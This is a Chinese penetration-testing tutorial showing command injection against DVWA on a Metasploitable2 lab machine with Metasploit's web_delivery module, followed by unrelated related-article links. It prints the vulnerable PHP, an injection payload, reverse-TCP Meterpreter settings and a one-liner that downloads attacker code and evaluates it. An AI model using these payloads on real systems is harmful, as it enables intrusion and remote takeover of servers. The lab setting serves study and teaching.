Kali滲透測(cè)試之使用Metasploit對(duì)Web應(yīng)用的攻擊
Web應(yīng)用程序的漏洞數(shù)量眾多,這里我們以其中一個(gè)命令注入漏洞為例復(fù)現(xiàn)一下。這種漏洞源于Web應(yīng)用程序沒有對(duì)用戶輸入的內(nèi)容進(jìn)行準(zhǔn)確的驗(yàn)證,從而導(dǎo)致操作系統(tǒng)執(zhí)行了攻擊者輸入的命令。下面是一段運(yùn)行在Metasploitable2靶機(jī)上的PHP腳本,它來自于DVWA,代碼如下:
<html> <body> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit"> </form> </body> </html>
首先是是一個(gè)帶有輸入框的頁面代碼,在瀏覽器中這段代碼會(huì)被執(zhí)行成一個(gè)如下圖所示的頁面:
當(dāng)用戶在 圖中所示的文本框中輸入一個(gè)IP地址,例如“127.0.0.1”,服務(wù)器會(huì)將這個(gè)值傳遞給下面的PHP腳本進(jìn)行處理。
<?php if(isset($_POST['submit'])){ $target = $_REQUEST['ip']; $cmd = shell_exec('ping -c 3 '. $target); } ?>
該腳本會(huì)將用戶輸入的值“127.0.0.1”保存到變量$target中。這樣一來,將‘ping -c 3’與其連接起來,系統(tǒng)要執(zhí)行的命令就變成了以下形式:
shell_exec('ping -c 3 127.0.0.1');
shell_exec()是PHP中執(zhí)行系統(tǒng)命令的4個(gè)函數(shù)之一, 它通過shell環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。也就是說,PHP先運(yùn)行一個(gè)shell環(huán)境,然后讓shell進(jìn)程運(yùn)行命令,并且把所有輸出以字符串形式返回,如果程序執(zhí)行錯(cuò)誤或者沒有任何輸出,則返回null。
這命令執(zhí)行以后,PHP會(huì)調(diào)用操作系統(tǒng)對(duì)127.0.0.1這個(gè)IP地址執(zhí)行ping操作,這里使用參數(shù)-c(指定ping操作的次數(shù)),是因?yàn)長inux在進(jìn)行ping操作時(shí)不會(huì)自動(dòng)停止,所以需要限制ping的次數(shù)。
正常情況,用戶可以使用網(wǎng)站這個(gè)功能。但是這段代碼編寫并不安全,攻擊者可以借此來執(zhí)行除了ping之外的操作,而且很容易實(shí)現(xiàn)。攻擊者接著系統(tǒng)命令的特性,在輸入中國呢添加“|”或者“&&”管道符來執(zhí)行其他命令。例如在Linux系統(tǒng)中,“|”是管道命令操作符。利用“|”將兩個(gè)命令隔開,管道符左邊命令的輸出就會(huì)作為管道符右邊命令的輸入。如下圖所示:
提交這個(gè)參數(shù)以后,系統(tǒng)會(huì)執(zhí)行以下命令:
shell_exec('ping -c 3 127.0.0.1|id');
實(shí)際上,這里一共執(zhí)行了兩條命令,分別是“ping -c 127.0.0.1”和“id”,第一條命令的輸出會(huì)作為第二條命令的輸入,但是第一條命令的結(jié)果不會(huì)顯示,只有第二條命令的結(jié)果才會(huì)顯示出來。這就是命令注入漏洞,當(dāng)攻擊者發(fā)現(xiàn)目標(biāo)網(wǎng)站存在命令注入攻擊漏洞以后,可以很輕易地實(shí)現(xiàn)對(duì)其進(jìn)行滲透。
實(shí) 驗(yàn) 環(huán) 境
攻擊機(jī):Linux kali 5.10.0 IP: 192.168.68.125
服務(wù)器:Metasploitable2-Linux IP:192.168.68.205
接下來結(jié)合滲透工具M(jìn)etasploit來完成一次攻擊的示例,滲透的目標(biāo)是運(yùn)行了DVWA的Metasploitable2服務(wù)器。DVWA的“Command Execution”命令執(zhí)行漏洞界面,如下圖所示:
Metasploit中包含一個(gè)十分方便的模塊web_delivery,它包含了以下功能:
- 生成一個(gè)木馬程序
- 啟動(dòng)一個(gè)發(fā)布該木馬程序的服務(wù)器
- 生成一條命令,當(dāng)目標(biāo)主機(jī)執(zhí)行這條命令以后,就會(huì)連接服務(wù)器A,下載并執(zhí)行該木馬程序
實(shí) 驗(yàn) 步 驟
1. 在Kali中啟動(dòng)并進(jìn)入msf6
輸入如下命令:
┌──(kali?kali)-[~] └─$ msfconsole msf6 >?
2. 啟動(dòng)web_delivery模塊
msf6 > use exploit/multi/script/web_delivery
這個(gè)模塊中涉及的參數(shù)如下圖所示:
我們需要指定目標(biāo)的類型,在本例中目標(biāo)是一臺(tái)運(yùn)行著PHP語言編寫的Web應(yīng)用程序的Linux服務(wù)器,所以可將類型指定為PHP。使用“show targets”命令可以看到web_delivery模塊所支持的類型,如下圖所示:
3. 設(shè)置木馬類型、木馬主控端IP地址和端口
輸入如下命令:
msf6 exploit(multi/script/web_delivery) > set target 1 msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > set lhost 192.168.68.125 msf6 exploit(multi/script/web_delivery) > set lport 8888
結(jié)果如下圖所示:
4. 執(zhí)行run
輸入run命令,模塊web_delivery會(huì)啟動(dòng)服務(wù)器。如下圖所示:
圖中紅框中的命令非常重要,它就是我們要在目標(biāo)系統(tǒng)上運(yùn)行的命令。
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.68.125:8080/E7mvRltiKXUbdQ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false])));
5. 在靶機(jī)DVWA中“Command Execution”頁面中注入命令
輸入一個(gè)由&&連接的IP地址和上面的命令,如下圖所示:
點(diǎn)擊“submit”按鈕,目標(biāo)系統(tǒng)就會(huì)下載并執(zhí)行木馬文件,之后會(huì)建立一個(gè)Meterpreter會(huì)話,如下圖所示:
6. 在Kali中查看session
會(huì)話已經(jīng)建立,但是該模塊不會(huì)自動(dòng)進(jìn)入Meterpreter會(huì)話,我們可以使用sessions命令查看已經(jīng)打開的活動(dòng)會(huì)話,輸入如下命令:
msf6 exploit(multi/script/web_delivery) > sessions
如下圖所示:
執(zhí)行如下命令,進(jìn)入會(huì)話中:
msf6 exploit(multi/script/web_delivery) > sessions -i 1
下圖演示了整個(gè)命令注入的完整過程:
到此這篇關(guān)于Kali滲透測(cè)試:使用Metasploit對(duì)Web應(yīng)用的攻擊的文章就介紹到這了,更多相關(guān)Kali滲透測(cè)試內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
深度學(xué)習(xí)開源框架基礎(chǔ)算法之傅立葉變換的概要介紹
今天小編就為大家分享一篇關(guān)于深度學(xué)習(xí)開源框架基礎(chǔ)算法之傅立葉變換的概要介紹,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2018-12-12計(jì)算機(jī)中的字符串編碼、亂碼、BOM等問題詳解
這篇文章主要介紹了計(jì)算機(jī)中的字符串編碼、亂碼、BOM等問題詳解,對(duì)文件編碼、vim亂碼、什么情況下會(huì)出現(xiàn)亂碼、字符編碼的發(fā)展歷史、字符集和編碼的區(qū)別、漢字ANSI編碼的發(fā)展歷史、BOM頭等問題做了全面總結(jié)、詳細(xì)介紹,需要的朋友可以參考下2014-07-07HTTP協(xié)議簡(jiǎn)介_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
這篇文章主要介紹了HTTP協(xié)議簡(jiǎn)介,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-07-07OB系統(tǒng)變量Variables及ODC管理會(huì)話功能詳解
這篇文章主要為大家介紹了OB系統(tǒng)變量Variables及ODC管理會(huì)話功能詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-12-12